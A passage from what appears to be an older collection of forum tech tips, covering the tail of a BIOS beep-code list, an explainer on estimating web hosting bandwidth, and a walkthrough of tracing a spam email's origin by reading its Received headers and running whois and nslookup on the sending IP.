3-3-4 Video card failure.
3-4-1 Video card failure.
4-2-1 Timer failure.
4-2-2 CMOS shutdown failure.
4-2-3 Gate A20 failure.
4-2-4 Unexpected interrupt in protected mode.
4-3-1 RAM test failure.
4-3-3 Timer failure.
4-3-4 Time of day clock failure.
4-4-1 Serial port failure.
4-4-2 Parallel port failure.
4-4-3 Math coprocessor.

5 BandWidth Explained

.
Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet.

Network Connectivity

The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet.


If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54).


Traffic

A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up.

Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB).

If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person's file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment).

Hosting Bandwidth

In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file).

A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo's home page is about 70KB.

How Much Bandwidth Is Enough?

It depends (don't you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis

If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward:

Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor

If you intend to allow people to download files from your site, your bandwidth calculation should be:

[(Average Daily Visitors x Average Page Views x Average Page Size) +
(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor

Let us examine each item in the formula:

Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000.

Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit.

Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly.

Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day.

Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly.

Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met.

Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31.

Summary

Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.

1 Backtracking EMAIL Messages

.
Tracking email back to its source: Twisted Evil
cause i hate spammers... Evil or Very Mad

Ask most people how they determine who sent them an email message and the response is almost universally, "By the From line." Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The "From" header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the "From" header is forged.


So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .

If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.

Below are listed the headers of an actual spam message I received. I've changed my email address and the name of my server for obvious reasons. I've also double spaced the headers to make them more readable.


Return-Path:

X-Original-To: davar@example.com

Delivered-To: davar@example.com

Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])
by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7
for ; Sun, 16 Nov 2003 09:50:37 -0800 (PST)

Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id <536806-74276>; Sun, 16 Nov 2003 19:42:31 +0200

Message-ID:

From: "Maricela Paulson"

Reply-To: "Maricela Paulson"

To: davar@example.com

Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha

Date: Sun, 16 Nov 2003 19:42:31 +0200

X-Mailer: Internet Mail Service (5.5.2650.21)

X-Priority: 3

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="MIMEStream=_0+211404_90873633350646_4032088448"


According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn't come from yahoo's email service.

The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.

The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.


Here's is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.

davar@nqh9k:[/home/davar] $whois 12.218.172.108

AT&T WorldNet Services ATT (NET-12-0-0-0-1)
12.0.0.0 - 12.255.255.255
Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)
12.218.168.0 - 12.218.175.255

# ARIN WHOIS database, last updated 2003-12-31 19:15
# Enter ? for additional hints on searching ARIN's WHOIS database.

I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.

davar@nqh9k:[/home/davar] $nslookup 12.218.172.108

Server: localhost
Address: 127.0.0.1

Name: 12-218-172-108.client.mchsi.com
Address: 12.218.172.108

Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom's web site.

There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host's IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.

A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.

But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.